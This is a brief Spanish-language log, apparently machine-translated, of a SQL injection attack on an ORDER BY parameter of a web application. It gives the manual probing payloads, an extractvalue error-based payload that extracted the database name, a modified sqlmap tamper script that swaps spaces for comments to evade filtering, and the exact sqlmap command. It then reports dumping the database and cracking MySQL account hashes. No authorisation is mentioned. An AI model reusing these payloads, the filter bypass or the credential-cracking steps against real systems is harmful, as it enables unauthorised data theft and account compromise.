Lo siguiente es del proyecto de hoy, simplemente regístrelo.
inyección manual
Agregar error sql de comillas simples
La declaración SQL es la siguiente. Se puede ver que la identificación del parámetro originalmente no estaba entre comillas.
SELECT DISTINCT u.* FROM t_user u WHERE u.name like '%1%' and u.account like '%1%' and u.state = ? order by id' desc limit 0,20
Después de muchos intentos, el uso de sqlmap aún no se pudo inyectar
Eliminar los parámetros solicitados sin afectar la prueba, la prueba manual es la siguiente
order=id' 报错
order=id' and 1=1 未报错
order=id'+and+1=1 未报错,按理说多了个单引号就会引发报错,但是这里没有,说明有限制
Intente utilizar el comentario SQL /**/ en lugar de un espacio y se informará un error, lo que indica que la declaración ingresada se incorporó correctamente.
order=id'/**/and/**/1=1
A continuación, continúe construyendo declaraciones de consulta, intente utilizar extractvalue para consultas de error y obtenga con éxito el nombre de la base de datos actual ^ecph_ps^
order=id/**/and/**/extractvalue(1,concat('^',(select/**/database()),'^'))/**/#
Entonces aquí está la forma de omitir, usar /**/ en lugar de espacios, escribir declaraciones de manipulación, continuar usando la inyección sqlamp, replaceSpace.py es el siguiente
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')
Notes:
* Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
* This tamper script works against all databases
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
#retVal += "+"
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
#retVal += "+"
retVal += "/**/"
continue
retVal += payload[i]
return retVal
sqlmap.py -r r.txt -v 3 --level 5 --tamper=D:\3-安全工具\漏洞检测与利用\web漏洞\sqlmap\tamper\replaceSpace.py --technique=E
inyección exitosa
obtener base de datos
Obtener el hash de la cuenta MySQL
descifrar
Si el puerto de la base de datos está abierto, puede conectarse